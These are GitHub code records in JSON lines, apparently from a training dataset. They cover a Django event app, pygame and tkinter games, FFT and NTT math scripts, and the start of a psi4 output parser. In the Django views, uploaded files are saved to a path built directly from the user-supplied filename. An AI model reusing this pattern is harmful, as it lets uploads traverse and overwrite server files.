{'events':events}, c)\n\n@csrf_protect\ndef eventpage(request):\n c = {}\n if request.method == 'POST':\n form = UploadFileForm(request.POST, request.FILES)\n if form.is_valid():\n filename = request.FILES.get('input-b1')\n print(str(filename))\n if filename != None:\n filename = filename.name\n path = '/home/depuleio/aroundMe/static/uploads/' + filename\n handle_uploaded_file(request.FILES['input-b1'],path)\n return HttpResponseRedirect(reverse('home'))\n else:\n print(form.errors)\n else:\n form = UploadFileForm()\n return render(request, 'eventpage.html', {'form':form}, c)\n\ndef handle_uploaded_file(f,path):\n with open(path, 'wb+') as destination:\n for chunk in f.chunks():\n destination.write(chunk)\n\n@csrf_protect\ndef createEvent(request):\n \n response = {\"code\": 400, \"message\": \"request failed to send\"}\n \n try:\n print(\"enter try\")\n data = json.loads(request.body.decode(\"utf-8\"))\n filename = str(data.get(u'filename'))\n if filename == None:\n path = \"https://i.pinimg.com/originals/9b/87/0b/9b870b29291ee7502d0ec99ab3b6733d.png\"\n else:\n path = str(\"../static/uploads/\" + filename)\n\n newEvent = Event(event_title= str(data[u'title']), event_date= str(data[u'date']), event_time= str(data[u'time']), \n event_location= str(data[u'location']), category= str(data[u'category']),reader= path,)\n \n newEvent.save()\n print(\"saved\")\n response[\"code\"] = 200\n response[\"message\"] = \"success\"\n \n \n except Exception as e:\n response[\"error\"] = str(e)\n \n \n return JsonResponse(response)\n\n\n# @login_required\n# def event(request, pk):\n# board = get_object_or_404(Event, pk=pk)\n# if request.method == 'POST':\n \n","repo_name":"sonamwan/aroundMe","sub_path":"boards/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"18276141866","text":"import pygame\r\nimport sys\r\nimport random\r\nimport time\r\nimport combine\r\nimport About_us\r\nimport Intro\r\nimport user_input\r\npygame.init()\r\n\r\nSCREEN_WIDTH=900\r\nSCREEN_HEIGHT=650\r\nBG_COLOR = (200,200,200)\r\nRED = (100,0,0)\r\nPINK = (255,0,255)\r\nYELLOW = (255,255,0)\r\nBLUE = (0,0,255)\r\nBLACK = (0,0,0)\r\nGREEN = (0,200,0)\r\nLIGHT_GREEN = (0,255,0)\r\n\r\nRADIUS =25\r\nLINE_WIDTH = 5\r\nACTIVE_EDGE_COLOR = BLUE\r\n\r\nsmallfont = pygame.font.SysFont(\"comicsansms\" ,25)\r\nmedfont = pygame.font.SysFont(\"comicsansms\" ,50)\r\nlargefont = pygame.font.SysFont(\"comicsansms\" ,80)\r\nscreen = pygame.display.set_mode((SCREEN_WIDTH,SCREEN_HEIGHT),0,32)\r\npygame.display.set_caption(\"TOC PROJECT [Turing machine]\")\r\n\r\ndef button(text,x,y,width,height,inactive_color,active_color,action = None):\r\n global flag\r\n global temp_time\r\n cur = pygame.mouse.get_pos()\r\n click = pygame.mouse.get_pressed()\r\n if x+width > cur[0] > x and y+height > cur[1] > y:\r\n pygame.draw.rect(screen,active_color,(x,y,width,height))\r\n if click[0]==1 and action != None: \r\n if action == \"Intro\": \r\n Intro.intro() \r\n if action == \"Palindrome\":\r\n \t# combine.fun()\r\n user_input.get_input()\r\n # print(user_input.inputStr) \t\r\n if action == \"About us\":\r\n \tAbout_us.about_us() \r\n\r\n else:\r\n pygame.draw.rect(screen,inactive_color,(x,y,width,height))\r\n text_to_button(text,BLACK,x,y,width,height)\r\n \r\ndef text_to_button(msg,color,buttonx,buttony,buttonwidth,buttonheight,size = \"small\"):\r\n textSurf,textRect = text_objects(msg,color,size)\r\n textRect.center = ((buttonx+(buttonwidth/2)),buttony+(buttonheight/2))\r\n screen.blit(textSurf,textRect)\r\n\r\ndef text_objects(text,color,size):\r\n if size==\"small\":\r\n textSurface=smallfont.render(text,True,color)\r\n\r\n if size==\"medium\":\r\n textSurface=medfont.render(text,True,color)\r\n\r\n if size==\"large\":\r\n textSurface=largefont.render(text,True,color)\r\n return textSurface,textSurface.get_rect()\r\n\r\n\r\nwhile True : \r\n screen.fill(BG_COLOR)\r\n button(\"Intro\",350,100,250,40,LIGHT_GREEN,GREEN,\"Intro\")\r\n button(\"Palindrome Detection\",350,180,250,40,LIGHT_GREEN,GREEN,\"Palindrome\")\r\n button(\"About us\",350,260,250,40,LIGHT_GREEN,GREEN,\"About us\") \r\n pygame.display.update() \r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n quit() \r\n if event.type == pygame.KEYDOWN:\r\n \tif event.key == pygame.K_c: \t\t\r\n \t\tcombine.fun()\r\n","repo_name":"ravindra1001/Turing-Machine","sub_path":"mainfile.py","file_name":"mainfile.py","file_ext":"py","file_size_in_byte":2644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32299267885","text":"from rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.permissions import IsAdminUser, IsAuthenticated, AllowAny\nfrom rest_framework.response import Response\nfrom Comics.models import Category, Comic\nfrom Comics.serializers import ComicsSerializer, CategorySerializer\nfrom django.db.models import Q\n\n\n@api_view(['GET'])\n@permission_classes([\n AllowAny\n])\ndef getCategorys(request):\n query = request.GET.get('keyword') if request.GET.get(\n 'keyword') != None else ''\n categorys = Category.objects.filter(\n Q(name__contains=query)\n )\n\n serializer = CategorySerializer(categorys, many=True)\n\n context = {'result': serializer.data, 'count': categorys.count()}\n return Response(context)\n\n\n@api_view(['GET'])\n@permission_classes([\n AllowAny\n])\ndef getCategory(request, pk):\n category = Category.objects.get(_id=pk)\n comics = Comic.objects.filter(category__name__icontains=category)\n serializer = CategorySerializer(category, many=False)\n serializer1 = ComicsSerializer(comics, many=True)\n return Response({'comics': serializer1.data, 'result': serializer.data})\n","repo_name":"rhixecompany/webapp","sub_path":"Comics/views/category_views.py","file_name":"category_views.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"72334806029","text":"import random\nimport time\n\nfrom playsound import playsound\nimport tkinter as tk\nfrom tkinter import ttk, BOTH, DISABLED, NORMAL\nfrom threading import Timer\n\nclass wack_a_mole:\n def __init__(self, root, game_timer):\n self.root = root\n self.root.title(\"Whack a Mole\")\n self.root.resizable(0, 0)\n self.score = 0\n self.game_length = game_timer\n self.count = game_timer\n self.create_buttons()\n self.create_data_frame()\n self.init_game_elements()\n\n def init_game_elements(self):\n self.timer.config(text=self.count)\n self.score_disp.config(text=self.score)\n self.game_time()\n self.mole_time()\n\n def one_second(self):\n # print(\"One second has passed\")\n if self.count > 0:\n self.count -=1\n self.timer.config(text=self.count)\n self.game_time()\n\n def game_time(self):\n self.t = Timer(1 * 1, self.one_second)\n self.t.start()\n\n def mole_appear(self):\n self.buttons = [self.button1, self.button2, self.button3, self.button4]\n if self.count > 0:\n for button in self.buttons:\n if button.cget('bg') == 'red':\n self.buttons.pop(self.buttons.index(button))\n button.config(bg='gray')\n button.config(state=NORMAL)\n choose_button = random.choice(self.buttons)\n choose_button.config(bg='red')\n # print(choose_button.cget('bg'))\n self.mole_time()\n else:\n for button in self.buttons:\n button.config(state=DISABLED)\n\n def get_mole(self, button):\n if self.count > 0:\n if button.cget('bg') == 'red':\n self.score += 1\n playsound('pop.mp3', block=False)\n button.config(state=DISABLED)\n else:\n self.score -=1\n self.score_disp.config(text=self.score)\n\n\n def mole_time(self):\n random_time = random.uniform(0.4, 0.8)\n # print(random_time)\n self.t1 = Timer(1 * random_time, self.mole_appear)\n self.t1.start()\n\n def new_game(self):\n self.t.cancel()\n self.t1.cancel()\n for b in self.buttons:\n b.config(bg='gray')\n self.count = self.game_length\n self.score = 0\n # time.sleep(1)\n self.init_game_elements()\n\n def create_buttons(self):\n button_frame = tk.LabelFrame(self.root, height=300, width=300, bg='yellow', borderwidth=5)\n button_frame.pack(fill = BOTH, expand = True, padx=5, pady=5)\n\n # photo = tk.PhotoImage(file=\"mole.png\")\n # photoimage = photo.subsample(3,3)\n\n button1 = tk.Button(button_frame, bg='gray', compound='left', command= lambda: self.get_mole(button1)) #need to pass lambda here to pass whih button is pressed to get_mole function\n self.button1 = button1\n button1.grid(row=0, column=0, padx=20, pady=20, ipady=40, ipadx=70)\n\n button2 = tk.Button(button_frame, bg='gray', command= lambda: self.get_mole(button2))\n self.button2 = button2\n button2.grid(row=0, column=1,padx=20, pady=20, ipady=40, ipadx=70)\n\n button3 = tk.Button(button_frame, bg='gray' , command= lambda: self.get_mole(button3))\n self.button3 = button3\n button3.grid(row=1, column=0, padx=20, pady=20, ipady=40, ipadx=70)\n\n button4 = tk.Button(button_frame, bg='gray' , command= lambda: self.get_mole(button4))\n self.button4 = button4\n button4.grid(row=1, column=1, padx=20, pady=20, ipady=40, ipadx=70)\n\n def create_data_frame(self):\n data_frame_bg = tk.LabelFrame(self.root, height=100, width=300, borderwidth=5, bg='cyan')\n data_frame_bg.pack(expand=True, fill= BOTH, padx=5, pady=5)\n\n data_frame = tk.LabelFrame(data_frame_bg, height=100, width=300, borderwidth=5, bg='cyan')\n data_frame.pack(padx=5, pady=5)\n\n timer = ttk.Label(data_frame, text=self.count, font=(\"Courier\", 20, \"italic\"))\n self.timer = timer\n timer.grid(row=0, column=1)\n time_label = ttk.Label(data_frame, text = 'Time:', font=(\"Courier\", 20, \"italic\"))\n time_label.grid(row=0, column=0)\n\n styl = ttk.Style()\n styl.configure('TSeparator', background='gray')\n separator = ttk.Separator(data_frame, orient='vertical', style='TSeparator', takefocus= 0)\n separator.grid(row=0, column=2, padx=35, ipadx=2, sticky='ens')\n\n score_label = ttk.Label(data_frame, text = 'Score:', font=(\"Courier\", 20, \"italic\"))\n self.score_disp = ttk.Label(data_frame, text=self.score, font=(\"Courier\", 20, \"italic\"))\n score_label.grid(row=0,column=3, sticky='w')\n self.score_disp.grid(row=0, column=4)\n\n new_game_button = tk.Button(data_frame, text=\"New Game\", command=self.new_game ,font=(\"Courier\", 12, \"italic\"))\n new_game_button.grid(row=1, column=1, columnspan=3, pady=10,ipadx=10, sticky='w')\n\nif __name__ == '__main__':\n root = tk.Tk()\n timer = 20\n wack_a_mole(root, timer)\n root.mainloop()","repo_name":"ydrubs/wack_a_mole","sub_path":"Wack_a_mole.py","file_name":"Wack_a_mole.py","file_ext":"py","file_size_in_byte":5085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5978007936","text":"# Module: IFFT\n# Desc: Inverse split-radix fast fourier transform\n# Author: Alarcon Ace Belen\n# DATE: Sunday, May 30th 2021\n# Language Used: Python3\n\nfrom cmath import exp\nfrom math import pi\n\nimport decimal\ndecimal.getcontext().rounding = decimal.ROUND_HALF_UP\n\nimport sys\n\n# Helper function that gets a complex number's \n# real part rounded to the nearest integer\ndef get_real_rounded(complex_num, norm=1):\n return str(decimal.Decimal(\\\n complex_num.real/norm).to_integral_value())\n\n# Helper function that computes the \n# twiddle factor given N and k.\ndef get_twiddle_factor(N,k):\n return exp((2j*pi*k)/N)\n\ndef sr_ifft(signal, N):\n\n \"\"\" Split-radix IFFT\n\n Parameters\n ----------\n signal : list\n Array of complex numbers corresponding \n to data points in the signal\n N : int\n Size of the signal\n\n Returns\n -------\n signal : list\n Array of complex numbers corresponding \n to data points of the computed DFT\n\n \"\"\"\n\n # Base Cases\n # These root from the inverse DFT formula \n # where Euler's identity is expanded\n if N == 1:\n return signal\n if N == 2:\n return [signal[0]+signal[1], signal[0]-signal[1]]\n \n # Split the signal into three: even, odd_1 and odd_3.\n # Use recursion to get the DFT of each sub-signal.\n N_over2 = N >> 1\n N_over4 = N >> 2\n signal = sr_ifft(signal[::2], N_over2) + \\\n sr_ifft(signal[1::4], N_over4) + \\\n sr_ifft(signal[3::4], N_over4)\n\n for k in range(N_over4):\n\n # Necessary terms to solve each quarter\n xn_even = signal[k]\n xn_even_N4 = signal[k+N_over4]\n xn_odd_1 = signal[k+(N_over2)]\n xn_odd_3 = signal[k+(3*N_over4)]\n omega_1 = get_twiddle_factor(N,k)\n omega_3 = get_twiddle_factor(N,3*k)\n \n # Precompute sum and difference of odd terms\n sum_odd = omega_1*xn_odd_1 + omega_3*xn_odd_3\n diff_odd = omega_1*xn_odd_1 - omega_3*xn_odd_3\n\n # Computation and merging of quarters\n signal[k] = xn_even + sum_odd\n signal[k+N_over2] = xn_even - sum_odd\n signal[k+(3*N_over4)] = xn_even_N4 - 1j*diff_odd\n signal[k+N_over4] = xn_even_N4 + 1j*diff_odd\n\n return signal\n\ndef handleIO():\n\n \"\"\" Handles IO simultaneously\n\n Running this script will read data from a file named \n \"input.txt\" and write to a file \"output.txt\" by default.\n \n You may also run `python ME1-164-IFFT.py < in > < out >` \n where < in > and < out > are the names of the input and \n output files, respectively. The parameter < out > may be \n undefined, which will output a file with the default name.\n\n \"\"\"\n\n in_filename = \"input.txt\"\n out_filename = \"output.txt\"\n if len(sys.argv) == 2:\n in_filename = sys.argv[1]\n if len(sys.argv) == 3:\n in_filename = sys.argv[1]\n out_filename = sys.argv[2]\n \n with open(in_filename, mode='r') as in_file,\\\n open(out_filename, mode='w') as out_file:\n \n num_testcases = int(in_file.readline())\n out_file.write(str(num_testcases)+'\\n')\n \n # Iterate through the test cases\n for i in range(num_testcases):\n in_line = list(in_file.readline().split())\n \n output_len = int(in_line[0])\n input_len = int(in_line[1])\n in_data = list(map(complex, in_line[2:]))\n \n # Get output signal\n out_data = sr_ifft(in_data, input_len)\n\n # Format the output such that it is\n # compatible with the FFT module.\n out_data = list(map(lambda c:\\\n get_real_rounded(c, input_len), out_data))[:output_len]\n out_string = str(output_len)+' '+' '.join(out_data)+'\\n'\n\n out_file.write(out_string)\n\nif __name__ == \"__main__\":\n handleIO()","repo_name":"blueaxis/mea","sub_path":"MPs/fast-fourier-transform/ifft.py","file_name":"ifft.py","file_ext":"py","file_size_in_byte":3857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17584755372","text":"def int2bs (n):\n return [((n // (2 ** k)) % 2) for k in range (8)]\n \ndef bs2int (l):\n n = 0\n for k in range (8):\n n += l[k] * (2**k)\n return n\n\ndef bitrev (n):\n return (bs2int(list(reversed(int2bs(n)))))\n\nclass exponent:\n\n def __init__(self):\n self.f = [[[0 for y in range (2**k)] for x in range (2**k)] for k in range (8)]\n\n def pp(self, m):\n for k in range (min(m, 8)):\n for x in range (2**k):\n print(self.f[k][x])\n print()\n\n def pp_bitrev(self, m):\n for k in range (min(m, 8)):\n for x in range (2**k):\n print(list(map(bitrev, self.f[k][x])))\n print()\n \n def fill_inductive(self):\n for k in range (7):\n p = 2**k\n for x in range (p):\n for y in range (p):\n self.f[k+1][x][y] = ((self.f[k][x][y] ) % 256)\n self.f[k+1][x][p+y] = ((self.f[k][x][y] + (2*x+1) * (2**(6-k)) ) % 256)\n self.f[k+1][p+x][y] = ((self.f[k][x][y] ) % 256)\n self.f[k+1][p+x][p+y] = ((self.f[k][x][y] + (2*x+1) * (2**(6-k)) + 128) % 256)\n \n def fill_prevision(self):\n for k in range (8):\n p = 2**k\n for x in range (p):\n for y in range (p):\n self.f[k][x][y] = ((2*x + 1) * bitrev(2 * (y % (2**k)))) % 256\n\ne_inductive = exponent()\ne_prevision = exponent()\ne_inductive.fill_inductive()\ne_prevision.fill_prevision()\n#e_inductive.pp(4)\n#e_prevision.pp(4)\nprint(e_inductive.f == e_prevision.f)","repo_name":"formosa-crypto/hakyber","sub_path":"proof/correctness/NTT.py","file_name":"NTT.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"38932218778","text":"from lib.datasets.curiosity_base import Curiosity_Base\nimport os.path as osp\nROOT_DIR = osp.join(osp.dirname(__file__), '..', '..')\ncuriosity_path = osp.join(ROOT_DIR, 'data', 'curiosity')\ndef get_dataset(dataset_class, image_set, mode, **kwargs):\n param = {'image_set': image_set,\n 'mode': mode}\n if dataset_class == 'curiosity':\n param['dataset_root_path'] = curiosity_path\n param.update(kwargs)\n dataset = Curiosity_Base(**param)\n return dataset","repo_name":"liyi14/DeepIM-Honda","sub_path":"lib/datasets/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"2385459308","text":"from numpy import amin, amax, around, int32\nfrom numpy.core._multiarray_umath import array\n\n\ndef ds_dims(coordinates):\n min_x, min_y, aux = amin(coordinates, axis=0)\n max_x, max_y, aux = amax(coordinates, axis=0)\n nrows, ncols = max_y - min_y + 1, max_x - min_x + 1\n return nrows, ncols\n\n\ndef get_pixel_indices(coordinates):\n _coord = array(coordinates)\n _coord = around(_coord, 5)\n _coord -= amin(_coord, axis=0)\n _, ncols = ds_dims(coordinates)\n pixel_indices = _coord[:, 1] * ncols + _coord[:, 0]\n pixel_indices = pixel_indices.astype(int32)\n return pixel_indices","repo_name":"GEizaguirre/Primula","sub_path":"pywren-ibm-primula/pywren_ibm_cloud/sort/map_utils.py","file_name":"map_utils.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72162702029","text":"import os\nimport logging\nfrom datetime import datetime\nimport numpy as np\n\nfrom nomad.units import ureg\nfrom nomad.parsing.file_parser import TextParser, Quantity\nfrom nomad.datamodel.metainfo.simulation.run import Run, Program, TimeRun\nfrom nomad.datamodel.metainfo.simulation.system import System, Atoms\nfrom nomad.datamodel.metainfo.simulation.method import (\n Electronic, Method, BasisSet, BasisSetAtomCentered, Scf as ScfMethod, DFT,\n XCFunctional, Functional, BasisSetContainer,)\nfrom nomad.datamodel.metainfo.simulation.calculation import (\n Calculation, Energy, EnergyEntry, Forces, ForcesEntry, ScfIteration, BandEnergies,\n Multipoles, MultipolesEntry, Charges, ChargesValue)\nfrom nomad.datamodel.metainfo.simulation.workflow import (\n SinglePoint, GeometryOptimization, GeometryOptimizationMethod\n)\nfrom .metainfo.psi4 import x_psi4_root_information\nfrom .metainfo import m_env\n\n\nclass OutParser(TextParser):\n def __init__(self):\n super().__init__(None)\n\n def init_quantities(self):\n re_f = r'-*\\d+\\.\\d+[Ee]*[-+]*\\d*'\n\n def str_to_basis(val_in):\n data = dict()\n for line in val_in.strip().split('\\n'):\n line = line.split(':')\n if len(line) == 2:\n data[line[0].strip()] = line[1].strip()\n return data\n\n def str_to_orbital_energies(val_in):\n val = val_in.strip().split()\n orbitals = [val[i] for i in range(0, len(val), 2)]\n energies = [float(val[i]) for i in range(1, len(val), 2)]\n return orbitals, energies\n\n def str_to_eigenvalues(val_in):\n orbital_energies = []\n for val in val_in.strip().split('\\n'):\n if 'occupied orbitals' in val:\n orbital_energies.append([[], []])\n elif 'Active orbitals' in val:\n pass\n else:\n val = val.strip().split()\n if len(val) % 3 != 0:\n continue\n orbital_energies[-1][0].extend([val[i] for i in range(2, len(val), 3)])\n orbital_energies[-1][1].extend([float(val[i]) for i in range(1, len(val), 3)])\n return orbital_energies\n\n def str_to_parameters(val_in):\n val_in = val_in.strip().split('\\n')\n name = val_in[0].split()[0]\n parameters = dict()\n separator = '='\n if '=>' in val_in[-1]:\n separator = '=>'\n elif ':' in val_in[-1]:\n separator = ':'\n for val in val_in:\n val = [v.rstrip('!').strip() for v in val.split(separator)]\n if len(val) == 2:\n try:\n val[1] = float(val[1])\n except Exception:\n pass\n if val[1] in ['TRUE', 'FALSE']:\n val[1] = val[1] == 'TRUE'\n parameters[val[0]] = val[1]\n return name, parameters\n\n charges_quantities = [\n Quantity(\n 'atom',\n rf'\\d+ +[A-Z][a-z]* +({re_f}) +({re_f}) +({re_f}) +({re_f})',\n repeats=True, dtype=np.dtype(np.float64)),\n Quantity(\n 'total',\n rf'Total alpha = +({re_f}), Total beta = +({re_f}), Total charge = +({re_f})',\n dtype=np.dtype(np.float64))]\n\n properties_quantities = [\n Quantity(\n 'multipole_moments',\n r'Multipole +Electric \\(a\\.u\\.\\) .+\\s+\\-+([\\s\\S]+?)\\-{10}',\n sub_parser=TextParser(quantities=[\n Quantity(\n 'dipole',\n r'Dipole [XYZ] +: +(.+)',\n repeats=True, dtype=np.dtype(np.float64)),\n Quantity(\n 'quadrupole',\n r'Quadrupole [XYZ]{2} +: +(.+)',\n repeats=True, dtype=np.dtype(np.float64)),\n Quantity(\n 'octupole',\n r'Octupole [XYZ]{3} +: +(.+)',\n repeats=True, dtype=np.dtype(np.float64)),\n Quantity(\n 'hexadecapole',\n r'Hexadecapole [XYZ]{4} +: +(.+)',\n repeats=True, dtype=np.dtype(np.float64)),\n Quantity(\n 'npole',\n r'32-pole [XYZ]{5} +: +(.+)',\n repeats=True, dtype=np.dtype(np.float64))\n ])\n ),\n Quantity(\n 'nuclear_dipole_moment',\n rf'Nuclear Dipole Moment: \\(a\\.u\\.\\)\\s+X: +({re_f}) +Y: +({re_f}) +Z: +({re_f})',\n dtype=np.dtype(np.float64)),\n Quantity(\n 'electronic_dipole_moment',\n rf'Electronic Dipole Moment: \\(a\\.u\\.\\)\\s+X: +({re_f}) +Y: +({re_f}) +Z: +({re_f})',\n dtype=np.dtype(np.float64)),\n Quantity(\n 'total_dipole_moment',\n rf'Dipole Moment: \\(a\\.u\\.\\)\\s+X: +({re_f}) +Y: +({re_f}) +Z: +({re_f})',\n dtype=np.dtype(np.float64)),\n Quantity(\n 'mulliken_charges',\n r'Mulliken Charges: \\(a\\.u\\.\\)\\s+.+([\\s\\S]+?Total charge.+)',\n sub_parser=TextParser(quantities=charges_quantities)),\n Quantity(\n 'lowdin_charges',\n r'Lowdin Charges: \\(a\\.u\\.\\)\\s+.+([\\s\\S]+?Total charge.+)',\n sub_parser=TextParser(quantities=charges_quantities))\n ]\n\n scf_quantities = [\n Quantity(\n 'geometry',\n r'Geometry <==([\\s\\S]+?)==>', sub_parser=TextParser(quantities=[\n Quantity(\n 'atoms',\n rf'([A-Z][a-z]* +{re_f} +{re_f} +{re_f} +{re_f}\\n)',\n repeats=True),\n Quantity('molecular_point_group', r'Molecular point group: *(\\w+)', dtype=str),\n Quantity('full_point_group', r'Full point group: *(\\w+)', dtype=str),\n Quantity('symmetry', r'Running in (\\w+) symmetry\\.', dtype=str),\n Quantity(\n 'rotational_constants',\n rf'Rotational constants: *A = *({re_f}) *B = *({re_f}) *C = *({re_f}) \\[cm\\^-1\\]',\n dtype=np.dtype(np.float64)),\n Quantity('nuclear_repulsion', rf'Nuclear repulsion = *({re_f})', dtype=np.float64),\n Quantity('charge', r'Charge *= (\\d+)', dtype=np.float64),\n Quantity('multiplicity', r'Multiplicity *= (\\d+)', dtype=np.float64),\n Quantity('electrons', r'Electrons *= (\\d+)', dtype=np.float64),\n Quantity('nalpha', r'Nalpha *= (\\d+)', dtype=np.float64),\n Quantity('nbeta', r'Nbeta *= (\\d+)', dtype=np.float64)])),\n Quantity(\n 'algorithm',\n r'Algorithm <==([\\s\\S]+?)==>', sub_parser=TextParser(quantities=[\n Quantity(\n 'minimization_algorithm',\n r'SCF Algorithm Type is (.+)\\.', dtype=str),\n Quantity(\n 'x_psi4_diis',\n r'DIIS (.+)\\.', str_operation=lambda x: x == 'enabled'),\n Quantity(\n 'x_psi4_mom',\n r'MOM (.+)\\.', str_operation=lambda x: x == 'enabled'),\n Quantity(\n 'x_psi4_fractional_occupation',\n r'Fractional occupation (.+)\\.', str_operation=lambda x: x == 'enabled'),\n Quantity(\n 'x_psi4_guess_type',\n r'Guess Type is (.+)\\.', dtype=str),\n Quantity(\n 'threshold_energy_change',\n rf'Energy threshold += +({re_f})', dtype=np.float64, unit=ureg.hartree),\n Quantity(\n 'threshold_densDFT Potential <==ty_change',\n rf'Density threDFT Potential <==hold += +({re_f})', dtype=np.float64),\n Quantity(\n 'x_psi4_integral_threshold',\n rf'Integral threshold += +({re_f})', dtype=np.float64)])),\n Quantity(\n 'basis',\n r'(?:Primary )*Basis (?:Set )*<==([\\s\\S]+?)==>',\n sub_parser=TextParser(quantities=[\n Quantity(\n 'basis_set',\n r'((?:Basis Set|Core potential|AO BASIS SET INFORMATION):[\\s\\S]+?\\n\\n)',\n repeats=True, str_operation=str_to_basis)])),\n Quantity(\n 'jk_matrices',\n r'(J/K Matrices <==[\\s\\S]+?==>)',\n sub_parser=TextParser(quantities=[\n Quantity(\n 'parameters',\n r'J/K Matrices <==\\s+([\\s\\S]+?\\n *\\n)', str_operation=str_to_parameters),\n ])\n ),\n # Move auxiliary out of the parent section because I cannot cover all\n Quantity(\n 'auxiliary_basis',\n r' Auxiliary Basis (?:Set )*<=([\\s\\S]+?)==>',\n repeats=True, sub_parser=TextParser(quantities=[Quantity(\n 'basis_set',\n r'((?:Basis Set|Core potential|AO BASIS SET INFORMATION):[\\s\\S]+?\\n\\n)',\n repeats=True, str_operation=str_to_basis)])),\n Quantity(\n 'dft_potential',\n r'DFT Potential <==([\\s\\S]+?==>)', sub_parser=TextParser(quantities=[\n Quantity(\n 'composite',\n r'Composite Functional.+([\\s\\S]+?)=>', str_operation=str_to_parameters),\n Quantity(\n 'exact_exchange',\n r'Exact \\(HF\\) Exchange <=([\\s\\S]+?)=>',\n str_operation=lambda x: [v.split()[:2] for v in x.strip().split('\\n')]),\n Quantity(\n 'exchange',\n r'Exchange Functionals <=([\\s\\S]+?)=>',\n str_operation=lambda x: [v.split()[:2] for v in x.strip().split('\\n')]),\n Quantity(\n 'correlation',\n r' Correlation Functionals <=([\\s\\S]+?)=>',\n str_operation=lambda x: [v.split()[:2] for v in x.strip().split('\\n')]),\n Quantity(\n 'hybrid',\n r'Exchange-Correlation Functionals <=([\\s\\S]+?)=>',\n str_operation=lambda x: [v.split()[:2] for v in x.strip().split('\\n')]),\n Quantity(\n 'molecular_quadrature',\n r'Molecular Quadrature <=([\\s\\S]+?)=>',\n str_operation=str_to_parameters)])),\n Quantity(\n 'method',\n r'(?:\\n +(.+) Reference *\\n|@(.+) Final Energy:)'),\n Quantity(\n 'iterations',\n r'Iterations <==(\\s+Total Energy[\\s\\S]+?)==>',\n sub_parser=TextParser(quantities=[\n Quantity(\n 'iteration',\n rf'iter +\\d+\\: +({re_f}) +({re_f}) +({re_f})',\n repeats=True, dtype=np.float64)])),\n Quantity(\n 'spin_contamination_metric',\n rf'@Spin Contamination Metric: +({re_f})', dtype=np.float64),\n Quantity(\n 's2_expected',\n rf'@S\\^2 Expected: +({re_f})', dtype=np.float64),\n Quantity(\n 's2_observed',\n rf'@S\\^2 Observed: +({re_f})', dtype=np.float64),\n Quantity(\n 's_expected',\n rf'@S Expected: +({re_f})', dtype=np.float64),\n Quantity(\n 's_observed',\n rf'@S Observed: +({re_f})', dtype=np.float64),\n Quantity(\n 'orbital_energies',\n r'(?:Occupied:|Virtual:).+([\\s\\S]+?\\n *\\n)',\n repeats=True, str_operation=str_to_orbital_energies),\n Quantity(\n 'energy',\n r'Energetics <=([\\s\\S]+?Total Energy =.+)',\n repeats=True, sub_parser=TextParser(quantities=[Quantity(\n 'key_value',\n rf'(.+) Energy = *({re_f})',\n repeats=True, str_operation=lambda x: [v.strip() for v in x.rsplit(' ', 1)])])),\n Quantity(\n 'properties',\n r'(Properties will be evaluated at[\\s\\S]+?)(?:==>|tstop|\\Z)',\n repeats=True, sub_parser=TextParser(quantities=properties_quantities)),\n Quantity(\n 'total_gradient',\n r'Total Gradient.+\\s+Atom.+\\s+\\-.+\\s+([\\s\\S]+?)\\n *\\n',\n str_operation=lambda x: np.array([v.split()[1:] for v in x.strip().split('\\n')]),\n dtype=np.dtype(np.float64))]\n\n mp_quantities = [\n Quantity('method', r'(MP[\\d\\.]+)\\s+Program'),\n Quantity(\n 'energy',\n r'Computing MP[\\d\\.]+ energy using SCF MOs([\\s\\S]+?)\\n *\\n',\n repeats=True, sub_parser=TextParser(quantities=[Quantity(\n 'key_value', rf'\\s+(.+?) (?:Energy|Contribution) (Correction )*\\(a\\.u\\.\\) *: +({re_f})',\n repeats=True, str_operation=lambda x: [v.strip() for v in x.rsplit(' ', 1)])]))\n ]\n\n method_quantities = [\n Quantity(\n 'parameters',\n r'Parameters <==([\\s\\S]+?)==>', sub_parser=TextParser(quantities=[Quantity(\n 'key_value', r'([\\w ]+= +\\S+)',\n repeats=True, str_operation=lambda x: [v.strip() for v in x.split('=')])])),\n Quantity(\n 'iterations',\n r'Starting .+? iterations([\\s\\S]+?)==>',\n sub_parser=TextParser(quantities=[Quantity(\n 'iteration',\n rf'@.+\\d+: +\\d+ +({re_f}) +({re_f}) +({re_f})(.+)',\n repeats=True, dtype=np.dtype(np.float64))])),\n Quantity(\n 'energy',\n r'Energetics <==([\\s\\S]+?Total.+)',\n repeats=True, sub_parser=TextParser(quantities=[Quantity(\n 'key_value',\n rf'(.+) [Ee]nergy += *({re_f})',\n repeats=True, str_operation=lambda x: [v.strip() for v in x.rsplit(' ', 1)])])),\n Quantity(\n 'root_info',\n r'(root \\d+ information[\\s\\S]+?==>)',\n sub_parser=TextParser(quantities=[\n Quantity(\n 'root_energy',\n rf'Root \\d+ energy += +({re_f})',\n dtype=np.float64, unit=ureg.hartree)])),\n # TODO parse other properties e.g. orbital extents, mayer bond indices\n Quantity(\n 'properties',\n r'(erties computed using the[\\s\\S]+?)(?:==>|\\n *Prop|tstop|\\Z)',\n repeats=True, sub_parser=TextParser(quantities=properties_quantities)),\n ]\n\n mcscf_quantities = [\n Quantity(\n 'iterations',\n r'(Cycle +Energy.+\\s+\\=+[\\s\\S]+?)\\={5}',\n sub_parser=TextParser(quantities=[Quantity(\n 'iteration',\n rf'@SCF +\\d+ +({re_f}) +({re_f}) +({re_f})',\n repeats=True, 